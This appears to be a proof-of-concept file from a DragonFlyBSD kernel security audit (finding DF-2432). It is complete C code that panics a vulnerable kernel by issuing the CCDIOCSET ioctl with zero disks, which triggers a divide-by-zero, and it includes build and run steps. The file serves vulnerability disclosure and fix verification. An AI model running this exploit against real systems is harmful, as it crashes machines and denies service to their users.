DragonFlyBSD Kernel Audit
DF-2432 / poc.c
← back to finding ↓ download raw
/*
 * poc.c -- DF-2432: divide-by-zero kernel panic via CCDIOCSET with
 *                     ccio_ndisks == 0
 *
 * Bug: sys/dev/disk/ccd/ccd.c ccdioctl(CCDIOCSET) only validates
 *      ccio->ccio_ndisks against the UPPER bound (CCD_MAXNDISKS), never
 *      rejects 0.  With 0 disks, ccdinit()'s component loop runs zero
 *      times so `maxsecsize` stays 0, and the pseudo-geometry setup at
 *      ccd.c:580 computes `1024*1024 / ccg->ccg_secsize` == 1048576 / 0
 *      (ccg_secsize = maxsecsize = 0) -> #DE -> kernel panic.
 *      (If ccio_ileave > 0, the earlier divide at ccd.c:515,
 *       sc_ileave % (maxsecsize/DEV_BSIZE) == x % 0, panics first.)
 *
 *      Requires: ccd module loaded (kldload ccd) and root to open
 *      /dev/ccd0 with O_WRONLY (FWRITE is enforced, ccd.c:1313).
 *
 * Build:  cc -O2 -o poc poc.c
 * Run  :  ./poc [/dev/ccd0]      (as root, after `kldload ccd`)
 *
 * Expected on the vulnerable kernel: kernel panic
 *      "Fatal trap 0: divide error while in kernel mode"
 *      Stopped at ... ccdinit+0x...
 * Expected on a FIXED kernel: ioctl returns EINVAL, "poc: CCDIOCSET: ..."
 */
#include <sys/types.h>
#include <sys/ioccom.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

/* Mirror of struct ccd_ioctl from sys/sys/ccdvar.h (32 bytes on amd64). */
struct ccd_ioctl {
    char    **ccio_disks;   /* pointer to component paths */
    u_int    ccio_ndisks;   /* number of disks            */
    int      ccio_ileave;   /* interleave                 */
    int      ccio_flags;    /* misc flags                 */
    int      ccio_unit;     /* unit number                */
    u_int64_t ccio_size;    /* (returned) size            */
};

/* CCDIOCSET = _IOWR('F', 16, struct ccd_ioctl) */
#define MY_CCDIOCSET _IOWR('F', 16, struct ccd_ioctl)

int main(int argc, char **argv)
{
    const char *dev = argc > 1 ? argv[1] : "/dev/ccd0";
    int fd = open(dev, O_WRONLY);
    if (fd < 0) { perror("open"); fprintf(stderr, "(is the ccd module loaded? run: kldload ccd)\n"); return 1; }

    struct ccd_ioctl ccio;
    memset(&ccio, 0, sizeof(ccio));
    ccio.ccio_disks  = NULL;   /* unreferenced when ndisks==0 */
    ccio.ccio_ndisks = 0;      /* <-- the trigger: 0 disks     */
    ccio.ccio_ileave = 0;      /* take the line-580 divide path */
    ccio.ccio_flags  = 0;

    printf("poc: issuing CCDIOCSET on %s with ccio_ndisks=0 "
           "(expect divide-by-zero panic on vulnerable kernel)...\n", dev);
    fflush(stdout);

    if (ioctl(fd, MY_CCDIOCSET, &ccio) < 0) {
        /* FIXED kernel rejects ndisks==0 with EINVAL here. */
        fprintf(stderr, "poc: CCDIOCSET rejected: %s (FIXED behavior)\n",
                strerror(errno));
        close(fd);
        return 2;
    }
    printf("poc: CCDIOCSET succeeded unexpectedly (returned size=%llu)\n",
           (unsigned long long)ccio.ccio_size);
    close(fd);
    return 0;
}